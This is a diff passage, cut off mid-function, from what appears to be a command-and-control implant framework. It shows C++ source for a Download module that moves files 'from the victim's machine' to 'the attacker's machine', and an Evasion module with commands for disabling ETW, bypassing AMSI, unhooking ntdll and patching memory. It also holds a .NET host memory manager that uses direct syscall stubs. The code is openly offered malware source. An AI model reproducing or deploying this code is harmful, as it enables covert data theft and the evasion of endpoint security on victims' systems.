flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem) -{ - LPVOID allocAddress=NULL; - HANDLE hProcess = GetCurrentProcess(); - Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect); - allocAddress = pAddress; - - // LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect); - - // std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl; - - *ppMem = allocAddress; - - MemAllocEntry* allocEntry = new MemAllocEntry(); - allocEntry->Address = allocAddress; - allocEntry->size = dwSize; - allocEntry->type = MEM_ALLOC_VIRTUALALLOC; - m_memAllocList.push_back(allocEntry); - - return S_OK; -} - - -HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) -{ - // std::cout << "MyMemoryManager::VirtualFree" << std::endl; - - ::VirtualFree(lpAddress, dwSize, dwFreeType); - lpAddress = nullptr; - - return S_OK; -} - - -HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult) -{ - // std::cout << "MyMemoryManager::VirtualQuery" << std::endl; - - *pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength); - return S_OK; -} - - -HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect) -{ - // std::cout << "MyMemoryManager::VirtualProtect" << std::endl; - - HANDLE hProcess = GetCurrentProcess(); - Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect); - - // ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect); - - return S_OK; -} - - -HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes) -{ - // std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl; - - //Just returning arbitrary values - *pMemoryLoad = 30; - *pAvailableBytes = 100 * 1024 * 1024; - return S_OK; -} - - -HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback) -{ - // std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl; - return S_OK; -} - - -HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size) -{ - // std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl; - return S_OK; -} - - -// -// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process -// -HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size) -{ - // std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl; - // std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl; - - //This is used to track the assemblies that are mapped into the process - MemAllocEntry* allocEntry = new MemAllocEntry(); - allocEntry->Address = startAddress; - allocEntry->size = size; - allocEntry->type = MEM_ALLOC_MAPPED_FILE; - m_memAllocList.push_back(allocEntry); - - - return S_OK; -} - - -HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress) -{ - // std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl; - return S_OK; +#include "MemoryManager.hpp" +#include "HostMalloc.hpp" + +#include + + +MyMemoryManager::MyMemoryManager(void) +{ + count = 0; + m_mallocManager = new MyHostMalloc(); +} + + +MyMemoryManager::~MyMemoryManager(void) +{ + delete m_mallocManager; +} + + +HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv) +{ + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef() +{ + return(++((MyMemoryManager*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyMemoryManager::Release() +{ + if (--((MyMemoryManager*)this)->count == 0) + { + GlobalFree(this); + return 0; + } + return ((MyMemoryManager*)this)->count; +} + + +// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc +HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc) +{ + // std::cout << "MyMemoryManager::CreateMalloc" << std::endl; + + //C reate a heap and add it to our interface struct + HANDLE hHeap = NULL; + if (dwMallocType & MALLOC_EXECUTABLE) + { + hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); + } + else + { + hHeap = ::HeapCreate(0, 0, 0); + } + m_mallocManager->hHeap = hHeap; + + *ppMalloc = m_mallocManager; + return S_OK; +} + + +//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines +HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem) +{ + LPVOID allocAddress=NULL; + HANDLE hProcess = GetCurrentProcess(); + Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect); + allocAddress = pAddress; + + // LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect); + + // std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl; + + *ppMem = allocAddress; + + MemAllocEntry* allocEntry = new MemAllocEntry(); + allocEntry->Address = allocAddress; + allocEntry->size = dwSize; + allocEntry->type = MEM_ALLOC_VIRTUALALLOC; + m_memAllocList.push_back(allocEntry); + + return S_OK; +} + + +HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) +{ + // std::cout << "MyMemoryManager::VirtualFree" << std::endl; + + ::VirtualFree(lpAddress, dwSize, dwFreeType); + lpAddress = nullptr; + + return S_OK; +} + + +HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult) +{ + // std::cout << "MyMemoryManager::VirtualQuery" << std::endl; + + *pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength); + return S_OK; +} + + +HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect) +{ + // std::cout << "MyMemoryManager::VirtualProtect" << std::endl; + + HANDLE hProcess = GetCurrentProcess(); + Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect); + + // ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect); + + return S_OK; +} + + +HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes) +{ + // std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl; + + //Just returning arbitrary values + *pMemoryLoad = 30; + *pAvailableBytes = 100 * 1024 * 1024; + return S_OK; +} + + +HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback) +{ + // std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl; + return S_OK; +} + + +HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size) +{ + // std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl; + return S_OK; +} + + +// +// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process +// +HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size) +{ + // std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl; + // std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl; + + //This is used to track the assemblies that are mapped into the process + MemAllocEntry* allocEntry = new MemAllocEntry(); + allocEntry->Address = startAddress; + allocEntry->size = size; + allocEntry->type = MEM_ALLOC_MAPPED_FILE; + m_memAllocList.push_back(allocEntry); + + + return S_OK; +} + + +HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress) +{ + // std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl; + return S_OK; } \ No newline at end of file diff --git a/modules/DotnetExec/MemoryManager.hpp b/modules/DotnetExec/MemoryManager.hpp index 1ff16d5..992a3a3 100644 --- a/modules/DotnetExec/MemoryManager.hpp +++ b/modules/DotnetExec/MemoryManager.hpp @@ -1,49 +1,49 @@ -#pragma once -#include "HostMalloc.hpp" - -#include - -#include - - -class MyMemoryManager : public IHostMemoryManager -{ -public: - MyMemoryManager(void); - ~MyMemoryManager(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc); - virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem); - virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); - virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult); - virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect); - virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes); - virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback); - virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size); - virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size); - virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress); - - const std::vector& getVirtualAllocList() - { - return m_memAllocList; - } - - const std::vector& getMallocList() - { - return m_mallocManager->getMemAllocList(); - } - - -protected: - DWORD count; - -private: - MyHostMalloc* m_mallocManager; - - std::vector m_memAllocList; - +#pragma once +#include "HostMalloc.hpp" + +#include + +#include + + +class MyMemoryManager : public IHostMemoryManager +{ +public: + MyMemoryManager(void); + ~MyMemoryManager(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc); + virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem); + virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); + virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult); + virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect); + virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes); + virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback); + virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size); + virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size); + virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress); + + const std::vector& getVirtualAllocList() + { + return m_memAllocList; + } + + const std::vector& getMallocList() + { + return m_mallocManager->getMemAllocList(); + } + + +protected: + DWORD count; + +private: + MyHostMalloc* m_mallocManager; + + std::vector m_memAllocList; + }; \ No newline at end of file diff --git a/modules/Download/Download.cpp b/modules/Download/Download.cpp index 64d2841..c03b77e 100644 --- a/modules/Download/Download.cpp +++ b/modules/Download/Download.cpp @@ -31,9 +31,9 @@ __attribute__((visibility("default"))) Download* DownloadConstructor() Download::Download() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -44,40 +44,40 @@ Download::~Download() std::string Download::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "Download Module:\n"; - info += "Retrieve a file from the victim's machine and save it to the attacker's machine.\n"; - info += "Large files are automatically split into 2MB chunks and transferred over multiple check-ins.\n"; - info += "\nUsage example:\n"; - info += " - download C:\\Temp\\toto.exe /tmp/toto.exe\n"; - info += "\nArguments:\n"; - info += " Path to the file on the victim's machine\n"; - info += " Destination path on the attacker's machine\n"; + info += "Download Module:\n"; + info += "Retrieve a file from the victim's machine and save it to the attacker's machine.\n"; + info += "Large files are automatically split into 2MB chunks and transferred over multiple check-ins.\n"; + info += "\nUsage example:\n"; + info += " - download C:\\Temp\\toto.exe /tmp/toto.exe\n"; + info += "\nArguments:\n"; + info += " Path to the file on the victim's machine\n"; + info += " Destination path on the attacker's machine\n"; #endif - return info; + return info; } int Download::init(std::vector &splitedCmd, C2Message &c2Message) { - std::vector quoteRegroupedCmd = regroupStrings(splitedCmd); + std::vector quoteRegroupedCmd = regroupStrings(splitedCmd); - if (quoteRegroupedCmd.size() == 3) - { - string inputFile = quoteRegroupedCmd[1]; - string outputFile = quoteRegroupedCmd[2]; + if (quoteRegroupedCmd.size() == 3) + { + string inputFile = quoteRegroupedCmd[1]; + string outputFile = quoteRegroupedCmd[2]; - c2Message.set_instruction(quoteRegroupedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_outputfile(outputFile); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + c2Message.set_instruction(quoteRegroupedCmd[0]); + c2Message.set_inputfile(inputFile); + c2Message.set_outputfile(outputFile); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } - return 0; + return 0; } @@ -91,151 +91,151 @@ const size_t CHUNK_SIZE = 1 * 1024 * 1024; // 2MB int Download::recurringExec(C2Message& c2RetMessage) { - std::vector buffer; - if( m_input.is_open() ) - { - c2RetMessage.set_instruction(std::to_string(moduleHash)); - c2RetMessage.set_cmd(""); - c2RetMessage.set_outputfile(m_outputfile); + std::vector buffer; + if( m_input.is_open() ) + { + c2RetMessage.set_instruction(std::to_string(moduleHash)); + c2RetMessage.set_cmd(""); + c2RetMessage.set_outputfile(m_outputfile); - std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead)); + std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead)); buffer.resize(chunkSize); - if (m_input.read(buffer.data(), chunkSize)) - { + if (m_input.read(buffer.data(), chunkSize)) + { c2RetMessage.set_data(buffer.data(), chunkSize); - - m_bytesRead += chunkSize; - if(m_bytesRead==m_fileSize) - { - c2RetMessage.set_returnvalue("Success"); - m_fileSize=0; - m_bytesRead=0; - m_input.close(); - } - else - { - std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize); - c2RetMessage.set_returnvalue(output); - } + + m_bytesRead += chunkSize; + if(m_bytesRead==m_fileSize) + { + c2RetMessage.set_returnvalue("Success"); + m_fileSize=0; + m_bytesRead=0; + m_input.close(); + } + else + { + std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize); + c2RetMessage.set_returnvalue(output); + } } - else - { + else + { return 0; } - return 1; - } - else - { - return 0; - } + return 1; + } + else + { + return 0; + } } int Download::process(C2Message &c2Message, C2Message &c2RetMessage) { - if(m_input.is_open()) - { - c2RetMessage.set_errorCode(ERROR_FILE_ALREADY_OPEN); - return 0; - } + if(m_input.is_open()) + { + c2RetMessage.set_errorCode(ERROR_FILE_ALREADY_OPEN); + return 0; + } - c2RetMessage.set_instruction(std::to_string(moduleHash)); - c2RetMessage.set_cmd(""); - c2RetMessage.set_inputfile(c2Message.inputfile()); - c2RetMessage.set_outputfile(c2Message.outputfile()); - m_outputfile = c2Message.outputfile(); + c2RetMessage.set_instruction(std::to_string(moduleHash)); + c2RetMessage.set_cmd(""); + c2RetMessage.set_inputfile(c2Message.inputfile()); + c2RetMessage.set_outputfile(c2Message.outputfile()); + m_outputfile = c2Message.outputfile(); - std::string inputFile = c2Message.inputfile(); + std::string inputFile = c2Message.inputfile(); - m_input = std::ifstream(inputFile, std::ios::binary | std::ios::ate); - m_bytesRead = 0; - std::vector buffer; - if( m_input.is_open() ) - { - m_fileSize = m_input.tellg(); + m_input = std::ifstream(inputFile, std::ios::binary | std::ios::ate); + m_bytesRead = 0; + std::vector buffer; + if( m_input.is_open() ) + { + m_fileSize = m_input.tellg(); m_input.seekg(0, std::ios::beg); - std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead)); + std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead)); buffer.resize(chunkSize); - if (m_input.read(buffer.data(), chunkSize)) - { + if (m_input.read(buffer.data(), chunkSize)) + { c2RetMessage.set_data(buffer.data(), chunkSize); - - m_bytesRead += chunkSize; + + m_bytesRead += chunkSize; - if(m_bytesRead==m_fileSize) - { - c2RetMessage.set_args("0"); - c2RetMessage.set_returnvalue("Success"); - m_fileSize=0; - m_bytesRead=0; - m_input.close(); - } - else - { - std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize); - c2RetMessage.set_args("0"); - c2RetMessage.set_returnvalue(output); - } + if(m_bytesRead==m_fileSize) + { + c2RetMessage.set_args("0"); + c2RetMessage.set_returnvalue("Success"); + m_fileSize=0; + m_bytesRead=0; + m_input.close(); + } + else + { + std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize); + c2RetMessage.set_args("0"); + c2RetMessage.set_returnvalue(output); + } } - else - { + else + { c2RetMessage.set_errorCode(ERROR_READ_FILE); } - } - else - { - c2RetMessage.set_errorCode(ERROR_OPEN_FILE); - } + } + else + { + c2RetMessage.set_errorCode(ERROR_OPEN_FILE); + } - return 0; + return 0; } int Download::followUp(const C2Message &c2RetMessage) { - // check if there is an error - if(c2RetMessage.errorCode()==-1) - { - std::string args = c2RetMessage.args(); - std::string outputFile = c2RetMessage.outputfile(); + // check if there is an error + if(c2RetMessage.errorCode()==-1) + { + std::string args = c2RetMessage.args(); + std::string outputFile = c2RetMessage.outputfile(); - if(args=="0") - { - std::ofstream output(outputFile, std::ios::binary | std::ios::trunc); - const std::string buffer = c2RetMessage.data(); - output << buffer; - output.close(); - } - else - { - std::ofstream output(outputFile, std::ios::binary | std::ios::app); - const std::string buffer = c2RetMessage.data(); - output << buffer; - output.close(); - } - - } + if(args=="0") + { + std::ofstream output(outputFile, std::ios::binary | std::ios::trunc); + const std::string buffer = c2RetMessage.data(); + output << buffer; + output.close(); + } + else + { + std::ofstream output(outputFile, std::ios::binary | std::ios::app); + const std::string buffer = c2RetMessage.data(); + output << buffer; + output.close(); + } + + } - return 0; + return 0; } int Download::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) { #ifdef BUILD_TEAMSERVER - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==ERROR_OPEN_FILE) - errorMsg = "Failed: Couldn't open file"; - else if(errorCode==ERROR_READ_FILE) - errorMsg = "Failed: Read file chunk."; - else if(errorCode==ERROR_FILE_ALREADY_OPEN) - errorMsg = "Failed: File already open."; - } + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_OPEN_FILE) + errorMsg = "Failed: Couldn't open file"; + else if(errorCode==ERROR_READ_FILE) + errorMsg = "Failed: Read file chunk."; + else if(errorCode==ERROR_FILE_ALREADY_OPEN) + errorMsg = "Failed: File already open."; + } #endif - return 0; + return 0; } diff --git a/modules/Download/Download.hpp b/modules/Download/Download.hpp index ba10de7..20ab966 100644 --- a/modules/Download/Download.hpp +++ b/modules/Download/Download.hpp @@ -7,24 +7,24 @@ class Download : public ModuleCmd { public: - Download(); - ~Download(); + Download(); + ~Download(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int recurringExec(C2Message& c2RetMessage); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int followUp(const C2Message &c2RetMessage); - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int recurringExec(C2Message& c2RetMessage); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int followUp(const C2Message &c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } private: - std::string m_outputfile; - std::ofstream m_output; + std::string m_outputfile; + std::ofstream m_output; std::ifstream m_input; std::streamsize m_fileSize; std::streamsize m_bytesRead; diff --git a/modules/Evasion/Evasion.cpp b/modules/Evasion/Evasion.cpp index 57bf4aa..ea789ac 100644 --- a/modules/Evasion/Evasion.cpp +++ b/modules/Evasion/Evasion.cpp @@ -48,9 +48,9 @@ __attribute__((visibility("default"))) Evasion* EvasionConstructor() Evasion::Evasion() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -61,20 +61,20 @@ Evasion::~Evasion() std::string Evasion::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "evasion:\n"; - info += "exemple:\n"; - info += "- evasion CheckHooks (ntdll, kernelbase, kernel32)\n"; - info += "- evasion DisableETW\n"; - info += "- evasion Unhook (ntdll, kernelbase, kernel32)\n"; - info += "- evasion UnhookPerunsFart (ntdll)\n"; - info += "- evasion AmsiBypass\n"; - info += "- evasion Introspection moduleName\n"; - info += "- evasion ReadMemory 0x123456 20\n"; - info += "- evasion PatchMemory 0x123456 \\x90\\x90\\x90\\x90\n"; + info += "evasion:\n"; + info += "exemple:\n"; + info += "- evasion CheckHooks (ntdll, kernelbase, kernel32)\n"; + info += "- evasion DisableETW\n"; + info += "- evasion Unhook (ntdll, kernelbase, kernel32)\n"; + info += "- evasion UnhookPerunsFart (ntdll)\n"; + info += "- evasion AmsiBypass\n"; + info += "- evasion Introspection moduleName\n"; + info += "- evasion ReadMemory 0x123456 20\n"; + info += "- evasion PatchMemory 0x123456 \\x90\\x90\\x90\\x90\n"; #endif - return info; + return info; } @@ -92,150 +92,150 @@ std::string Evasion::getInfo() int Evasion::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if (splitedCmd.size() >= 2) - { - std::string cmd = splitedCmd[1]; - c2Message.set_instruction(splitedCmd[0]); - - if(cmd=="CheckHooks") - { - c2Message.set_cmd(CheckHooks); - } - else if(cmd=="DisableETW") - { - c2Message.set_cmd(DisableETW); - } - else if(cmd=="Unhook") - { - c2Message.set_cmd(Unhook); - } - else if(cmd=="UnhookPerunsFart") - { - c2Message.set_cmd(UnhookPerunsFart); - } - else if(cmd=="AmsiBypass") - { - c2Message.set_cmd(AmsiBypass); - } - else if(cmd=="Introspection") - { - c2Message.set_cmd(Introspection); - if (splitedCmd.size() >= 3) - { - c2Message.set_data(splitedCmd[2]); - } - } - else if(cmd=="ReadMemory") - { - c2Message.set_cmd(ReadMemory); - if (splitedCmd.size() >= 4) - { - c2Message.set_data(splitedCmd[2]); - c2Message.set_args(splitedCmd[3]); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } - } - else if(cmd=="PatchMemory") - { - c2Message.set_cmd(PatchMemory); - if (splitedCmd.size() >= 4) - { - c2Message.set_data(splitedCmd[2]); - c2Message.set_args(splitedCmd[3]); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } - } - else if(cmd=="RemotePatch") - { - c2Message.set_cmd(RemotePatch); - } - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + if (splitedCmd.size() >= 2) + { + std::string cmd = splitedCmd[1]; + c2Message.set_instruction(splitedCmd[0]); + + if(cmd=="CheckHooks") + { + c2Message.set_cmd(CheckHooks); + } + else if(cmd=="DisableETW") + { + c2Message.set_cmd(DisableETW); + } + else if(cmd=="Unhook") + { + c2Message.set_cmd(Unhook); + } + else if(cmd=="UnhookPerunsFart") + { + c2Message.set_cmd(UnhookPerunsFart); + } + else if(cmd=="AmsiBypass") + { + c2Message.set_cmd(AmsiBypass); + } + else if(cmd=="Introspection") + { + c2Message.set_cmd(Introspection); + if (splitedCmd.size() >= 3) + { + c2Message.set_data(splitedCmd[2]); + } + } + else if(cmd=="ReadMemory") + { + c2Message.set_cmd(ReadMemory); + if (splitedCmd.size() >= 4) + { + c2Message.set_data(splitedCmd[2]); + c2Message.set_args(splitedCmd[3]); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } + } + else if(cmd=="PatchMemory") + { + c2Message.set_cmd(PatchMemory); + if (splitedCmd.size() >= 4) + { + c2Message.set_data(splitedCmd[2]); + c2Message.set_args(splitedCmd[3]); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } + } + else if(cmd=="RemotePatch") + { + c2Message.set_cmd(RemotePatch); + } + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } int Evasion::process(C2Message &c2Message, C2Message &c2RetMessage) { - std::string result; - const std::string cmd = c2Message.cmd(); + std::string result; + const std::string cmd = c2Message.cmd(); #ifdef _WIN32 - if(cmd==CheckHooks) - { - checkHooks(result); - } - else if(cmd==DisableETW) - { - disableETW(); - result+="success"; - } - else if(cmd==Unhook) - { - unhookFreshCopy(result); - } - else if(cmd==UnhookPerunsFart) - { - unhookPerunsFart(result); - } - else if(cmd==AmsiBypass) - { - amsiBypass(result); - } - else if(cmd==Introspection) - { - std::string data = c2Message.data(); - introspection(result, data); - } - else if(cmd==ReadMemory) - { - std::string data = c2Message.data(); - std::string args = c2Message.args(); + if(cmd==CheckHooks) + { + checkHooks(result); + } + else if(cmd==DisableETW) + { + disableETW(); + result+="success"; + } + else if(cmd==Unhook) + { + unhookFreshCopy(result); + } + else if(cmd==UnhookPerunsFart) + { + unhookPerunsFart(result); + } + else if(cmd==AmsiBypass) + { + amsiBypass(result); + } + else if(cmd==Introspection) + { + std::string data = c2Message.data(); + introspection(result, data); + } + else if(cmd==ReadMemory) + { + std::string data = c2Message.data(); + std::string args = c2Message.args(); - int size=0; - try - { - size = atoi(args.c_str()); - } - catch (const std::invalid_argument& ia) - { - return 0; - } - - readMemory(result, data, size); - } - else if(cmd==PatchMemory) - { - std::string data = c2Message.data(); - std::string args = c2Message.args(); - patchMemory(result, data, args); - } - else if(cmd==RemotePatch) - { - remotePatch(result); - } - + int size=0; + try + { + size = atoi(args.c_str()); + } + catch (const std::invalid_argument& ia) + { + return 0; + } + + readMemory(result, data, size); + } + else if(cmd==PatchMemory) + { + std::string data = c2Message.data(); + std::string args = c2Message.args(); + patchMemory(result, data, args); + } + else if(cmd==RemotePatch) + { + remotePatch(result); + } + #endif - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(""); - c2RetMessage.set_returnvalue(result); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(""); + c2RetMessage.set_returnvalue(result); - return 0; + return 0; } #ifdef _WIN32 @@ -243,444 +243,444 @@ int Evasion::process(C2Message &c2Message, C2Message &c2RetMessage) int Evasion::checkHooks(std::string& result) { - std::string dllBasePath="c:\\windows\\system32\\"; - std::vector dllNames; - dllNames.push_back("kernel32.dll"); - dllNames.push_back("ntdll.dll"); - dllNames.push_back("kernelbase.dll"); + std::string dllBasePath="c:\\windows\\system32\\"; + std::vector dllNames; + dllNames.push_back("kernel32.dll"); + dllNames.push_back("ntdll.dll"); + dllNames.push_back("kernelbase.dll"); - for(int i=0; i dllNames; - dllNames.push_back("kernel32.dll"); - dllNames.push_back("ntdll.dll"); - dllNames.push_back("kernelbase.dll"); + std::string dllBasePath="c:\\windows\\system32\\"; + std::vector dllNames; + dllNames.push_back("kernel32.dll"); + dllNames.push_back("ntdll.dll"); + dllNames.push_back("kernelbase.dll"); - for(int i=0; i 0; i--) - { - if (!memcmp(pMem + i, pattern, 9)) - { - offset = i + 6; - // printf("Last syscall byte found at 0x%p\n", pMem + offset); - break; - } - } - - return offset; + // returns the last byte of the last syscall + DWORD i; + DWORD offset = 0; + BYTE pattern[] = "\x0f\x05\xc3\xcd\x2e\xc3\xcc\xcc\xcc"; // syscall ; ret ; int 2e ; ret ; int3 * 3 + + // backwards lookup + for (i = size - 9; i > 0; i--) + { + if (!memcmp(pMem + i, pattern, 9)) + { + offset = i + 6; + // printf("Last syscall byte found at 0x%p\n", pMem + offset); + break; + } + } + + return offset; } static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pCache) { // UnhookNtdll() finds fresh "syscall table" of ntdll.dll from suspended process and copies over onto hooked one - DWORD oldprotect = 0; - PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pCache; - PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pCache + pImgDOSHead->e_lfanew); + DWORD oldprotect = 0; + PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pCache; + PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pCache + pImgDOSHead->e_lfanew); - // find .text section - for (int i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) - { - PIMAGE_SECTION_HEADER pImgSectionHead = 